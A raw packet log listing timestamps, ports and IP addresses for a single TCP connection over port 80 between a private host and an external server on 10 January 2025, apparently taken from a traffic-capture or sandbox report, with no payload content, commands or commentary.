Jan 10, 2025 20:24:09.482172966 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482177019 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.482187986 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482202053 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482213974 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.482218027 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482232094 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.482234001 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482250929 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482264042 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.482268095 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482285023 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482297897 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482300043 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.482315063 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.482326031 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.482373953 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520186901 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520205021 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520267010 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520443916 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520471096 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520495892 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520510912 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520513058 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520528078 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520544052 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520549059 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520561934 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520575047 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520593882 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520617962 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520632029 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520632029 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520648003 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520659924 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520672083 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520682096 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520687103 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520699024 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520708084 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520718098 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520733118 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520737886 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520745993 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520760059 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520768881 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520775080 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520783901 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520792007 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520808935 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520818949 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520823956 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520836115 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520848036 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520853996 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520859957 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520864010 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520874977 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520889044 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520905018 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520920992 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520927906 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520956993 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520975113 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.520982027 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.520997047 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521013021 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521015882 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521028996 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521042109 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521050930 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521058083 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521073103 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521090984 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521110058 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521130085 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521147966 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521147966 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521147966 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521151066 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521164894 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521182060 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521193027 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521194935 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521214008 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521224976 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521226883 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521239996 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521255016 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521261930 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521272898 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521286964 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521297932 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521298885 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521307945 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521312952 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521320105 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521321058 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521327972 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521337032 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521375895 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521418095 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521449089 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521464109 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521476984 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521490097 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521493912 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521507978 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521522045 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521524906 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521537066 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521550894 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521559954 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521564960 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521579027 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521580935 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521617889 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521617889 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521635056 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521648884 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521660089 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521658897 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521672964 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521684885 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521692038 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521697044 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521709919 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521724939 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521764994 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521797895 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521797895 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521809101 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521843910 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521868944 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521881104 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521894932 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521912098 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521917105 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521927118 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521939039 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.521950006 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.521967888 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.522052050 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.522067070 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.522079945 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.522094011 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.522094965 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.522120953 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.537360907 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.558047056 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558068037 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558084011 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558103085 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.558146000 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.558165073 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558178902 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558202982 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558216095 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558231115 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.558232069 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558247089 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558259010 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.558286905 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.558357954 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558373928 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558386087 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558399916 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.558408976 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.558439016 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569171906 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569262981 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569274902 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569288015 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569299936 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569315910 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569319963 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569334030 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569346905 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569349051 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569360018 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569370031 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569372892 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569386959 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569416046 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569500923 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569513083 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569523096 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569535971 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569546938 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569547892 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569561005 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569571018 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569574118 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569585085 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569626093 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569662094 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569674015 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569684029 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569695950 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569706917 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569710016 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569721937 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.569729090 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.569767952 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.570239067 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.607770920 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607806921 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607822895 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607836962 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607851982 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607856035 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.607861042 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607877970 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607892036 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607892990 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.607908964 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607923985 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607938051 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607947111 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.607969999 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.607976913 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.607992887 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608009100 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608016968 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608025074 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608041048 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608052015 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608069897 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608076096 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608083963 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608103991 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608118057 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608125925 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608134985 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608139992 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608155966 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608185053 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608412981 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608428955 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608443975 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608458042 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608464956 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608474970 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608496904 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608505964 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608527899 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608541965 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608550072 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608556986 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608572006 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608578920 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608587980 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608603001 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608609915 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608618975 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608633995 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608639956 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608660936 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608673096 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608673096 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608686924 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608700991 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608706951 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608719110 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608733892 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608740091 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608757973 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608772039 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608772993 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608794928 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608808994 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608814955 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608824015 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608839035 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608843088 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608854055 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608869076 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608880043 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608882904 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608899117 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608910084 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608913898 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608933926 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608944893 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608949900 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608964920 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608968019 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.608979940 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.608997107 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609009027 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609025002 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609025002 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609051943 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609054089 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609071970 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609076977 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609091043 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609106064 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609116077 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609119892 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609136105 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609143972 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609150887 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609164953 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609177113 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609179974 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609195948 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609205961 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609220982 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609234095 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609244108 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609255075 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609268904 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609280109 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609285116 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609298944 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609308004 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609313011 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609328032 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609333992 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609344006 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609369040 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609457970 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609472990 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609487057 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609499931 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609508038 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609508991 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609524965 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609539986 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609551907 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609554052 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609571934 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.609572887 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609594107 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.609611988 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.613755941 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.645710945 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.645735025 CET	80	49732	193.143.1.205	192.168.2.7
